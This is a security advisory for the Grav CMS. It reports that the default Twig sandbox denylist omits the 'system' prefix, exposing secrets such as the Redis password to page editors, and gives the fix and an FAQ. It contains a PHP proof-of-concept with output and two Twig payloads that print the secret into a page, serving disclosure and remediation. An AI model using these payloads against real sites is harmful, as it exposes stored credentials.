GHSA-xjw5-q542-3vmr: High severity composer/getgrav/grav vulnerability
Summary
system/config/security.yaml's default twigsandbox.configdeniedpaths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twigcontent.configaccess: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system. , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.
This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.
Environment used to verify
- Grav commit at HEAD of the default branch, GRAVVERSION 2.0.15 - PHP 8.3.6 with curl, zip, dom, gd extensions installed - Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly
Commands run to set up the verification environment
bash git clone https://github.com/getgrav/grav.git cd grav
install missing PHP extensions required by composer.json apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
composer.phar fetched directly from GitHub releases curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSERALLOWSUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
Proof of Concept
Confirmed the real, currently-shipped config field first, rather than assuming one:
bash grep -n "redis" -A3 system/config/system.yaml redis: socket: false password: # <- system.cache.redis.password, a real field database:
grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password" type: text
sandboxtest.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:
php <?php require 'vendor/autoload.php';
use Grav\Common\Config\Config; use Grav\Common\Twig\Sandbox\SandboxConfig;
// Real field: system.cache.redis.password // (system/config/system.yaml line 138; blueprint in // system/blueprints/config/system.yaml, "cache.redis.password") $configTree = [ 'system' => [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'server' => '10.0.0.5', 'password' => 'REALREDISPASSWORDABC123SHOULDNOTLEAK', ], ], ], 'plugins' => [ 'someplugin' => ['apikey' => 'plugin-secret-should-be-blocked'], ], 'site' => ['title' => 'My Site'], ];
$config = new Config($configTree);
// exact default list shipped in system/config/security.yaml $defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];
$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);
echo "plugins.someplugin.apikey: "; vardump($sandboxConfig->get('plugins.someplugin.apikey', 'REDACTED'));
echo "system.cache.redis.password: "; vardump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));
printr($sandboxConfig->toArray());
Run:
bash php sandboxtest.php
Output:
plugins.someplugin.apikey: string(8) "REDACTED"
system.cache.redis.password: string(42) "REALREDISPASSWORDABC123SHOULDNOTLEAK"
Array ( [system] => Array ( [cache] => Array ( [driver] => redis [redis] => Array ( [server] => 10.0.0.5 [password] => REALREDISPASSWORDABC123SHOULDNOTLEAK )
)
)
[site] => Array ( [title] => My Site )
)
plugins. is correctly redacted; system.cache.redis.password is not, and appears in full both via targeted get() and via bulk toArray().
Confirming the Twig-reachable path is real
system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's methods for use inside sandboxed page-content templates:
yaml - class: 'Grav\Common\Twig\Sandbox\SandboxConfig' methods: 'get, toarray, value, offsetget, offsetexists'
So, with twigcontent.processenabled: true and twigcontent.configaccess: true both set (both documented, operator-controlled settings), a page containing:
twig {{ config.get('system.cache.redis.password') }}
or
twig {{ config.toArray() }}
renders the real Redis password directly into the page output for any user with page-edit permission.
Impact
Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented configaccess opt-in (intended only to expose things like site.title), exposes that Redis password , and potentially other future system. secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings.
Suggested fix
Add system to the default configdeniedpaths list in system/config/security.yaml, or invert the model to an allowlist (e.g. site, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under system. doesn't silently bypass the sandbox by default.
Affected component
- system/config/security.yaml, twigsandbox.configdeniedpaths default value - system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its input; the gap is in the default list passed to it)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/getgrav/gravto a version that resolves this vulnerability.Fixed in 2.0.16 - Configuration
Update `system/config/security.yaml` (twig sandbox) to include `system` in the default `twig_sandbox.config_denied_paths` denylist. The material states the fix is to “Add `system` to the default `config_denied_paths` list” so that secrets under `system.*` (e.g., `system.cache.redis.password`) are not exposed via `config.get(...)` or `config.toArray()` when `twig_content.config_access: true`.
Grav Twig Sandbox (SandboxConfig) twig_sandbox.config_denied_paths = Add `system` to the default `config_denied_paths` list
Event History
Frequently Asked Questions
Who can access the exposed values?
Any user with page-edit permission can access values under system.* through editor-authored Twig content, but only when twig_content.config_access is enabled.
Is a default installation affected?
The affected twig_content.config_access setting is documented but non-default. The shipped default twig_sandbox.config_denied_paths list is incomplete because it does not include the system prefix.
What conditions are required for exploitation?
An attacker needs page-edit permission and the operator must have enabled twig_content.config_access: true. Secrets must also be stored under system.*, such as system.cache.redis.password.
What can be done if patching is not immediately possible?
Disable twig_content.config_access to prevent editor-authored Twig content from reading configuration values. Review secrets stored under system.* and treat values that may have been accessible to page editors as potentially exposed.
How can I determine whether my deployment is at risk?
Check whether twig_content.config_access is set to true and whether users with page-edit permission can create or modify Twig content. Also review whether sensitive configuration values are stored beneath the system.* prefix.